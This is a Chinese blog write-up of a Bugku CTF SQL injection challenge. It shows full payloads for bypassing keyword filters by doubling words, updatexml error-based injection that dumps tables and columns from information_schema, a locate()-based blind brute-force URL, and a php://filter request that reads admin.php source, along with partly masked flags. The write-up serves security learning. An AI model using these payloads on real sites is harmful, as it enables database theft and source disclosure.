多次

2018/08/03 CTF CTF 3418 words views

今天做 Bugku 上的一道 SQL 注入题,感觉思路不错,这里单独拎出来分析一下,这里有不少技巧非常值得深入的学习。

0x01 题目

题目链接

多次

0x02 第一个 flag

step1: 老规矩,首先就是找注入点

/1ndex.php?id=1' 报错,怀疑这里存在注入点(注意:这里注释要用%23不能用# [为什么?我暂时不知道,猜测是可能存在某种转码的问题⭐️] )

step2: 按照步骤此时判断字段数

/1ndex.php?id=1' order by 4%23 报错,然后又试了很多其他数字发现都是报错,此时猜测可能过滤了某些字符

step2.1: 判断过滤了哪些字符

/1ndex.php?id=1'^(length('union')>0)%23 不报错。

这里是通过异或语句来判断过滤了哪些字符,当不报错,那么说明 (length('union')>0) 是错的,也就是 union 被过滤了。用同样的方法去判断有哪些我们需要用到的字符或单词被过滤了,这里要注意一下当 or 被过滤,那么order 也会被影响。 通过测试最终发现select union or and 都被过滤了,limit from没有被过滤。

step2.2: 继续判断字段数

/1ndex.php?id=1' order by 2%23 不报错,字段数为 2

step3: 查找目标数据的老套路了

这里直接给最后一个 payload

1ndex.php?id=-1%27 ununionion seselectlect 1,flag1 from flag1%23

得到第一个 flag

这个在查找字段的时候还找到一个字段的时候,还找到一个 address字段

/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flag1%23

得到第二关的地址

0x02 第二个 flag

这里有两种方法来得解这题

1.解法一:updatexml 报错注入

这里继续使用之前的方法是没法绕过的,所以要尝试新方法updatexml 报错注入 (为什么要用这个?暂时不知道⭐️)

UPDATEXML (XML_document, XPath_string, new_value);  
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc  
第二个参数:XPath_string (Xpath格式的字符串)。  
第三个参数:new_value,String格式,替换查找到的符合条件的数据  
作用:改变文档中符合条件的节点的值

payload:

step1: 查询表名

/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)%23

0x7e —> ~

注意:这里 group_concat() 是因为回显不止一行,此时报错的信息为 Subquery returns more than 1 row

这里提交的是~sql语句~,是不符合xml格式的,所以会报错。报错会造成 select group_concat(table_name) from information_schema.tables where table_schema=database()语句的执行,所以可以注入。

此时回显:

My Id =1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
Nobody!
XPATH syntax error: '~class,flag2~'

下面其实都是按照老套路来了,重点上面基本都讲完了。

step2: 查询字段名

/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),0x7e),1)%23

此时回显:

My Id =1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2'),0x7e),1)#
Nobody!
XPATH syntax error: '~flag2,address~'

step3: 查询目标数据

/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)%23

此时回显:

My Id =1' and updatexml(1,concat(0x7e,(select flag2 from flag2),0x7e),1)#
Nobody!
XPATH syntax error: '~flag{Bugku-sql_*******-bug}~'

此时已经搞到答案了,将B 改成b 就是正确的 flag 了。

但是呢,这里还有第三关,本着探究的目的,稍后在第三节会继续深入。

查询第三关地址:

/Once_More.php?id=1' and updatexml(1,concat(0x7e,(select address from flag2),0x7e),1)%23

此时回显:

My Id =1' and updatexml(1,concat(0x7e,(select address from flag2),0x7e),1)#
Nobody!
XPATH syntax error: '~./Have_Fun.php~'

获取到第三关地址,第三关稍后再说。

2.解法二:locate() + 脚本暴破

sleep substr都被过滤掉了,我们转而使用 locate 函数达到同样的效果。

语法一:
locate(substr,str)
返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0。
eg:
locate('jd','jdgood')=1
注意: 下标从 1 开始

语法二:
locate(substr,str,pos)
返回子串 substr 在字符串 str 中第一次出现的位置,从位置 pos 开始。
eg:
mysql> select locate('bar', 'foobarbar', 5);
mysql> 7

根据 locate 上述语法特性就可以构造 payload 了。

payload

url = "/Once_More.php?id=1'and  (select locate(binary'"+str(j)+"',(select flag2 from flag2),"+str(i)+"))="+str(i)+"%23"

按照 SQL 注入的老套路来进行暴破就可以了,最终可以得到 flag。

0x03 第三个 flag

tips:

XXF 绕过第一个问题

之后会得到一个二维码,扫描之后得到

你……你……你可以看到我?
好吧,我来自于ErWeiMa.php
顺便告诉你两个密码
one:参数名是game;
tow:flag在admin里
对了,文件后@…c=Y&$as%_=#*ad…*@#!*&@…c……

根据得到的信息构造 payload

POST /Have_Fun.php 

game=php://filter/convert.base64-encode/resource=admin.php

得到第三个 flag,直接提交就可以了。


上一篇: SQL注入的套路
下一篇: login3(SKCTF)

Search

    Table of Contents